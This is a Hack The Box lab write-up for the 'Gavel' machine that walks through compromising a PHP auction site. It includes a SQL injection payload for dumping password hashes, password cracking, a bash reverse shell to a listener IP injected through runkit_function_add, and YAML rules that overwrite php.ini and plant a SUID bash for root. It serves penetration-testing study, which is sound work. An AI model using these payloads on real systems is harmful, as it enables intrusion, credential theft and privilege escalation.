Skip to main content
HTB: Gavel
  1. Posts/

HTB: Gavel

Table of Contents

Introduction
#

Gavel is centered around a PHP auction web application. The attack path begins with an exposed .git directory that leaks the full application source, enabling discovery of a SQL injection used to extract admin credentials. After cracking the password hash and logging in, a dangerous use of runkit_function_add() allows arbitrary PHP code execution by injecting a reverse shell into an auction rule. On the host, password reuse grants access to a local user account. Privilege escalation abuses a custom SUID-eligible binary (gavel-util) that processes YAML submissions through the same vulnerable PHP execution first to strip restrictive PHP configuration, and finally to plant a SUID copy of bash and gain a root shell.

nmap
#

nmap finds two open TCP ports, SSH (22) and HTTP (80):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.2.107
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN/Hhg1nYlWGdi109d6k/OXFg0xbLVuEho3xQqX/DkRDPQ5Y9P6l2XLkbsSscgiQIq3/bHeX6T4mLci0/I/kHeI=
|   256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMYFumAaeF6fOwurP+3zFG7iyLB1XC40te7RWDNVze0x
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add gavel.htb to /etc/hosts

Web - TCP 80
#

The website is an online auction:

Web

I can create an account:

Web2

and bid on active auctions:

Web3

subdomain enum
#

There is not much I see straight away so continue with enumeration:

└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://gavel.htb/ -H 'Host: FUZZ.gavel.htb' -fw 20

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://gavel.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.gavel.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 20
________________________________________________

:: Progress: [220561/220561] :: Job [1/1] :: 1219 req/sec :: Duration: [0:03:35] :: Errors: 0 ::

Subdomain enumeration returns nothing.

dir brute force
#

The directory brute force gets a few hits:

└─$ gobuster dir -u http://gavel.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://gavel.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git                 (Status: 301) [Size: 305] [--> http://gavel.htb/.git/]
/.git/HEAD            (Status: 200) [Size: 23]
/.git/config          (Status: 200) [Size: 136]
/.git/logs/           (Status: 200) [Size: 1128]
/.hta                 (Status: 403) [Size: 274]
/.htpasswd            (Status: 403) [Size: 274]
/.htaccess            (Status: 403) [Size: 274]
/.git/index           (Status: 200) [Size: 224718]
/admin.php            (Status: 302) [Size: 0] [--> index.php]
/assets               (Status: 301) [Size: 307] [--> http://gavel.htb/assets/]
/includes             (Status: 301) [Size: 309] [--> http://gavel.htb/includes/]
/index.php            (Status: 200) [Size: 13970]
/rules                (Status: 301) [Size: 306] [--> http://gavel.htb/rules/]
/server-status        (Status: 403) [Size: 274]
Progress: 4734 / 4735 (99.98%)
===============================================================
Finished
===============================================================

Huge revelation - .git is exposed.

Code review - SQLi
#

I can dump the application source code.

└─$ git-dumper http://gavel.htb/.git/ ./gavel

There were some interesting files, for example:

└─$ cat gavel/includes/config.php 
<?php

define('DB_HOST', 'localhost');
define('DB_NAME', 'gavel');
define('DB_USER', 'gavel');
define('DB_PASS', 'gavel');

define('ROOT_PATH', dirname(__DIR__));

$basePath = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/');
define('BASE_URL', $basePath);
define('ASSETS_URL', $basePath . '/assets');

But the prize was in inventory.php:

└─$ cat gavel/inventory.php 
<SNIP>

$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";

<SNIP>

$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
<SNIP>

The $col variable is built from user-controlled input ($_POST['sort'] / $_GET['sort']) and used directly in the SQL query string.

There is small attempt for sanitization, backticks are stripped, but it is not sufficient sanitization. The query is not parameterized for the column name, only user_id is safely bound.

The backtick stripping only removes ` characters. I can still inject using the user_id and sort parameters:

http://gavel.htb/inventory.php?user_id=placeholder`+FROM+(SELECT+concat(username,password)+AS+`%27placeholder`+FROM+users)placeholder2;--+-&sort=\?--+-
sqli

SQLi Explanation:
#

The final query normally becomes:

SELECT `item_name`  
FROM inventory  
WHERE user_id = ?  
ORDER BY item_name ASC

I control $sortItem, which becomes $col after the backticks are removed.

sort parameter:

sort=\?-- -

After processing:

$col = "`\?-- -`"

Because -- starts a comment, everything after it in the SQL statement is ignored.

So effectively the query becomes something like:

SELECT `\?

But that part gets ignored anyway…

user_id parameter:

user_id=p`+FROM+(SELECT+concat(username,password)+AS+`%27p`+FROM+users)p2;--+-

When inserted into the query the resulting SQL becomes:

SELECT `p`  
FROM (  
SELECT concat(username,password) AS 'p'  
FROM users  
) p2  
--

The rest is commented out.

Website admin
#

So I have username and password hash:

auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS

Let’s crack it:

└─$ hashcat -m 3200 password.hash ~/Tools/rockyou.txt 
hashcat (v6.2.6) starting

<SNIP>

$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1
 
<SNIP>

This allows me to log in as an admin.

In the Admin Panel I can edit listings.

web_admin

Let’s go back to the source code and check how the admin panel works.

In the bid_handler.php there is a huge problem:

└─$ cat includes/bid_handler.php 
<?php
require_once __DIR__ . '/config.php';
require_once __DIR__ . '/db.php';
require_once __DIR__ . '/session.php';

header('Content-Type: application/json');

if (!isset($_SESSION['user'])) {
    echo json_encode(['success' => false, 'message' => 'You must be logged in.']);
    exit;
}

$auction_id = (int) ($_POST['auction_id'] ?? 0);
$bid_amount = (int) ($_POST['bid_amount'] ?? 0);
$id = $_SESSION['user']['id'] ?? null;
$username = $_SESSION['user']['username'] ?? null;

$stmt = $pdo->prepare("SELECT * FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$auction = $stmt->fetch();

if (!$auction || $auction['status'] !== 'active' || strtotime($auction['ends_at']) < time()) {
    echo json_encode(['success' => false, 'message' => 'Auction has ended.']);
    exit;
}

if ($bid_amount <= 0) {
    echo json_encode(['success' => false, 'message' => 'Your bid must be greater than 0.']);
    exit;
}

if ($bid_amount <= $auction['current_price']) {
    echo json_encode(['success' => false, 'message' => 'Your bid must be more than the current bid amount!']);
    exit;
}

$stmt = $pdo->prepare("SELECT money FROM users WHERE id = ?");
$stmt->execute([$id]);
$user = $stmt->fetch();

if (!$user || $user['money'] < $bid_amount) {
    echo json_encode(['success' => false, 'message' => 'Insufficient funds to place this bid.']);
    exit;
}

$current_bid = $bid_amount;
$previous_bid = $auction['current_price'];
$bidder = $username;

$rule = $auction['rule'];
$rule_message = $auction['message'];

$allowed = false;

try {
    if (function_exists('ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
    error_log("Rule error: " . $e->getMessage());
    $allowed = false;
}

if (!$allowed) {
    echo json_encode(['success' => false, 'message' => $rule_message]);
    exit;
}

try {
    $pdo->beginTransaction();
    $newEndsAt = date('Y-m-d H:i:s', time() + 120);
    $stmt = $pdo->prepare("UPDATE auctions SET current_price = ?, highest_bidder = ?, ends_at = ? WHERE id = ?");
    $stmt->execute([$bid_amount, $username, $newEndsAt, $auction_id]);

    $stmt = $pdo->prepare("UPDATE users SET money = money - ? WHERE id = ?");
    $stmt->execute([$bid_amount, $id]);

    $pdo->commit();
} catch (Exception $e) {
    $pdo->rollBack();
    echo json_encode(['success' => false, 'message' => 'Transaction failed. Try again.']);
    exit;
}

echo json_encode(['success' => true, 'message' => 'Bid placed successfully!']); 

The code is vulnerable to Remote Code Execution due to the way it dynamically executes PHP code from the database using runkit_function_add().

These are the relevant lines:

$rule = $auction['rule'];

runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);

$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
  • A rule string is loaded
  • The string is treated as PHP code
  • It is passed directly into runkit_function_add()
  • The code is executed as a function

This means whatever is stored in $auction['rule'] becomes executable PHP code.

Shell as www-data
#

I updated the rule on a action item:

system('bash -c "bash -i >& /dev/tcp/10.10.14.176/4444 0>&1"'); return true;
shell

Found what auction_id the listing was:

auction_id

and send a POST request with a bid:

└─$ curl -X POST 'http://gavel.htb/includes/bid_handler.php' \
     -H 'X-Requested-With: XMLHttpRequest' \
     -H 'Cookie: PHPSESSID=7ifkf9qkb1ca74ib4bvgtk4ic6' \
     -d 'auction_id=82&bid_amount=99999'

It went through and I got a hit on an awaiting listener:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.176] from (UNKNOWN) [10.129.3.63] 44648
bash: cannot set terminal process group (1034): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$ 

Shell as auctioneer
#

There is an auctioneer user in /home and the earlier password works with su - get an user flag:

www-data@gavel:/home$ ls
ls
auctioneer
www-data@gavel:/home$ su auctioneer
su auctioneer
Password: midnight1
id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
python3 -c "import pty;pty.spawn('/bin/bash')"
auctioneer@gavel:/home$ cd auctioneer
cd auctioneer
auctioneer@gavel:~$ ls
ls
user.txt
auctioneer@gavel:~$ cat user.txt
cat user.txt
92449fc0f6b924bd1a8f98d5aa956086
auctioneer@gavel:~$ 

Root
#

Classic sudo -l gives me nothing:

auctioneer@gavel:~$ sudo -l
sudo -l
[sudo] password for auctioneer: midnight1

Sorry, user auctioneer may not run sudo on gavel.

So manual enumeration it is.

There is interesting binary in usr/local/bin:

auctioneer@gavel:~$ ls -la /usr/local/bin/
ls -la /usr/local/bin/
total 28
drwxr-xr-x  2 root root          4096 Oct  3 19:35 .
drwxr-xr-x 10 root root          4096 Sep 11  2024 ..
-rwxr-xr-x  1 root gavel-seller 17688 Oct  3 19:35 gavel-util

When I try to run it I get usage information:

auctioneer@gavel:~$ /usr/local/bin/gavel-util
/usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice

The most promising one is submit where I can submit new item for auction - in YAML format.

The create one I needed to know what format and fields it expects, luckily there is a sample in /opt/gavel:

auctioneer@gavel:~$ ls -la /opt/gavel/
ls -la /opt/gavel/
total 56
drwxr-xr-x 4 root root  4096 Nov  5 12:46 .
drwxr-xr-x 3 root root  4096 Nov  5 12:46 ..
drwxr-xr-x 3 root root  4096 Nov  5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct  3 19:35 gaveld
-rw-r--r-- 1 root root   364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root  4096 Nov  5 12:46 submission
auctioneer@gavel:~$ cat /opt/gavel/sample.yaml
cat /opt/gavel/sample.yaml
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

The key here is the rule field. It looks like it is processed by the same runkit_function_add() mechanism I used before to get the reverse shell, but here the code should execute with elevated privileges.

Based on the sample I can create malicious YAML file:

auctioneer@gavel:~$ cat root.yaml
cat root.yaml
name: placeholder
description: placeholder
image: placeholder
price: 999
rule_msg: placeholder
rule: system('cp /bin/bash /home/auctioneer/root; chmod u+s /home/auctioneer/root'); return false;

aaand nothing.

First I need to rewrite the PHP configuration file to remove security restrictions.

auctioneer@gavel:~$ cat exploit.yaml
cat exploit.yaml
name: placeholder
description: placeholder
image: placeholder
price: 999
rule_msg: placeholder
rule: file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\nopen_basedir=\ndisable_functions=\n"); return false;

The new configuration becomes:

engine=On   
open_basedir=  
disable_functions=
  • open_basedir= removes filesystem restrictions so PHP can access any path on the system
  • disable_functions= enables dangerous functions like system() or exex()

I run the gavel-util submitting the malitious YAML:

auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /home/auctioneer/exploit.yaml
<bin/gavel-util submit /home/auctioneer/exploit.yaml
Item submitted for review in next auction

And now my original exploit should work:

auctioneer@gavel:~$ cat root.yaml
cat root.yaml
name: placeholder
description: placeholder
image: placeholder
price: 999
rule_msg: placeholder
rule: system('cp /bin/bash /home/auctioneer/root; chmod u+s /home/auctioneer/root'); return false;
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /home/auctioneer/root.yaml     
<al/bin/gavel-util submit /home/auctioneer/root.yaml
Item submitted for review in next auction

It ran and I see the root:

auctioneer@gavel:~$ ls -la
ls -la
total 1380
drwxr-x--- 2 auctioneer auctioneer    4096 Mar 12 20:52 .
drwxr-xr-x 3 root       root          4096 Nov  5 12:46 ..
lrwxrwxrwx 1 root       root             9 Nov  5 12:20 .bash_history -> /dev/null
-rwsr-xr-x 1 root       root       1396520 Mar 12 20:52 root
-rw-rw-r-- 1 auctioneer auctioneer     194 Mar 12 20:52 root.yaml
-rw-r----- 1 root       auctioneer      33 Mar 12 19:50 user.txt

And when I run it I become the root:

auctioneer@gavel:~$ /home/auctioneer/root -p
/home/auctioneer/root -p
root-5.1# id
id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)
root-5.1# cat /root/root.txt
cat /root/root.txt
303857cad7d62232d1da87c073984a40
root-5.1# 

Grab the flag and that is all!

Attack Chain
#

.git exposed → source code dump
      ↓
SQLi in inventory.php → bcrypt hash
      ↓
hashcat → midnight1 → admin panel
      ↓
runkit RCE via auction rule → www-data shell
      ↓
su auctioneer (password reuse) → user flag
      ↓
gavel-util YAML submit → php.ini overwrite (remove disable_functions)
      ↓
gavel-util YAML submit → SUID bash copy → root flag
Author
~